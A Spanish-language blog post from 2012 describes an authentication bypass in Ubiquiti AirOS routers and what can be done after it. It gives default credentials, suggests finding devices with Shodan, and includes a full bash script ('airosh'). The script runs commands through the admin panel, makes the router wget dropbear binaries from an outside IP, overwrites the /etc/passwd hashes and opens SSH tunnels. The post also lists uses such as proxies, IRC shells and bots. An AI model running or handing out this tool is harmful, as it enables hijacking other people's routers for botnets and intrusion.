viernes, 12 de octubre de 2012

Explotación, postexplotación y potencial del 0day en AirOS

En Diciembre del 2011, sd de fucksheep.org liberó un 0day que afectaba a los sistemas AirOS (http://seclists.org/fulldisclosure/2011/Dec/419) el cual fue parcheado aunque, como suele ser costumbre, no todos los sistemas han sido actualizados.

No quiero entrar en debate de si los responsables son los usuarios, o el desarrollador, simplemente expongo el tema.


Todo esto y algo más, fue reportado a Ubiquiti, los cuales al principio agradecieron la aportación, pero en el segundo contacto pasaron del tema y ni siquiera contestaron. Consideramos que ha pasado el suficiente tiempo como para publicar la información.


Todas las pruebas han sido realizadas en dispositivos propios, en ningún momento en ajenos. Este aporte es meramente informativo, y no me responsabilizo del mal uso que se le pueda dar a esta información.
 

Me gustaria agradecer por su inestimable trabajo a PunkiD y MARCOSCARS02.

Voy a comenzar con algunos conceptos básicos necesarios para entender el reporte:

¿Qué es un AirOS y que 0day es este?


AirOS es un sistema operativo avanzado, creado por Ubiquiti, capaz de manejar un sistema Wireless, enrutamiento y mínimas características ips y seguridad. Un sistema operativo para routers que busca la sencillez y la facilidad, siendo muy intuitivo, mas información en: http://www.ubnt.com/.

Hablemos un poco del hardware. Las CPU's de los sistemas AirOS son procesadores mips (Microprocessor without Interlocked Pipeline Stages). Es una arquitectura que consume muy pocos recursos y tiene una funcionalidad aceptable. Al ser de arquitectura distinta a la de los PC's convencionales (generalmente de 32 o 64 bits), si queremos compilar algo para mips, necesitamos recurrir a la crosscompilación, es decir, compilar un programa/servicio para una arquitectura distinta a la máquina en la que estamos trabajando. Tras muchas pruebas, recurrimos a Buildroot, una utilidad de uclib que permite desde compilar el toolchain hasta herramientas típicas y básicas, una imagen de sistema, etc.


El 0day afectaba al archivo admin.cgi, el cual es capaz de mostrar el panel “Device Administration Utility” que contiene:

  •     Un Uploader.
  •     Un Chmod.
  •     Un Downloader.
  •     Una Shell.
Imágen del panel login:



Imágen del panel de administración:



Explotación

El usuario y la contraseña por defecto de los AirOS son:
    Usuario: ubnt
    Contraseña: ubnt
 

Se recomienda usar Shodan para la búsqueda de dispositivos AirOS, pero este tipo de búsquedas dejan escapar muchos dispositivos. Actualmente trabajamos en un scanner por rangos de IP para localizar todos.

Se puede observar que el error consiste en cambiar la url de una petición de login al cgi; /login.cgi/uri=/ por /admin.cgi/$vuln .
Siendo $vuln cualquiera de los sientes: *.ico *.gif, *.jpg, *.js, *.css, airview.jar.pack.gz, airview_manager.jnlp, airview.jnlp, airview.uavr.
Por ejemplo: http://IPairos/admin.cgi/lol.css
De esta forma conseguimos el panel de administración, para muchos el fin, pero esto es solo el principio.

Postexplotación

El sistema operativo que lleva montado, por defecto solo tiene permisos de lectura en la mayoría de los directorios del dispositivo. Pero en /etc hay permisos de escritura, así pues tenemos un /etc/persistent/ a modo de home en el dispositivo. Lo primero es tener consola root en el dispositivo, para poder tener el control total. A través del panel subimos y ejecutamos dropbear mas su respectiva key crosscompilados.

De esta forma ya hemos conseguido ssh. A partir de aquí, vuestra imaginación es lo importante, para ver el potencial de estos dispositivos.
Tras tener funcionales todos los binarios, tenemos un “miniserver” externo:




Tenemos un pequeño directorio con un puñado de binarios ya crosscompilados y listos para AirOS disponible en:

    http://5.175.223.63/bin/


Y empaquetado en .tar:


    http://5.175.223.63/bin.tar

Incluso podríamos incluir algunos más como ngircd (Un pequeño servidor IRC), o lo que se nos ocurra.

A continuación, vamos a pasar a automatizar estas tareas. Obviamente no puedo publicar más que un par de lineas para deja la imaginación flotar con bash y curl:

runcmd() { curl -L -H 'Expect: ' -F 'action=cli' -F "exec={ $SYS2$@; } 2>&1" $host/admin.cgi/lol.css 2>/dev/null | grep 'Execute!'  -A 99999 | tail -n +5 | tac | tail -n +7 | tac; }

Aplicaciones


Algunas de las cosas que se pueden hacer con estos dispositivos son:


  •     Encadenar AirOS a modo de proxys (SSH Tunneling).
  •     Shells de IRC.
  •     Bots.
  •     Servidor IRC.
  •     Servidor Web/ftp/etc
  •     Y muchas otras que podais imaginar.
Automatización del proceso

Pasemos a automatizar todo el proceso anterior. Para ello utilizaremos el airosh de la siguiente manera:

./airosh IPairos

El script se ejecutará y automáticamente comprobará si el dispositivo es vulnerable. Si es así, procederá a subir Dropbear, y a cambiar las claves de acceso, con contraseña:lol. De esta forma, habremos conseguido el acceso al dispositivo como administrador.



CODIGO: http://5.175.223.63/airosh


#!/bin/bash

host=$1
portlocal=$2
hostfinal=$3
portfinal=$4
unset c
usage() {
# ./airosh IP
exit 1
}
[[ -z "$host" ]] && c=1
[[ -z "$portlocal" ]] && c=2
[[ -z "$hostfinal" ]] && c=2
[[ -z "$portfinal" ]] && c=2

if [[ $c = 1 ]]; then
echo "FAILED!"
usage
else
echo "OK"
fi
runcmd() { curl -L -H 'Expect: ' -F 'action=cli' -F "exec={ $SYS2$@; } 2>&1" $host/admin.cgi/lol.css 2>/dev/null | grep 'Execute!' -A 99999 | tail -n +5 | tac | tail -n +7 | tac; }

runcmd 'cd /var/persistent;wget -q http://5.175.223.63/dropbearkey;wget -q http://5.175.223.63/dropbear;chmod +x dropbearkey dropbear;' >>/tmp/airos.log

runcmd "[[ -e /var/sshd/lol.rsa ]] || ./dropbearkey -t rsa -f /var/sshd/lol.rsa" >>/tmp/airos.log

runcmd "./dropbear -b /var/sshd/motd -r /var/sshd/lol.rsa;" >>/tmp/airos.log

runcmd 'sed -i -e "s/:[^:]*:/:$1$.et5JTtj$6U9j6CSf7g3lNfhFenOX11:/" /etc/passwd;cat /etc/passwd'

echo -en "| >>user: "
read usr
[[ -z "$usr" ]] && usr=admin

if [[ "$c" = 2 ]]; then
ssh -C "$usr@$host"
else
ssh -g -L "0.0.0.0:$portlocal:$hostfinal:$portfinal" "$usr@$host"
fi
</pre>






No hay comentarios:

Publicar un comentario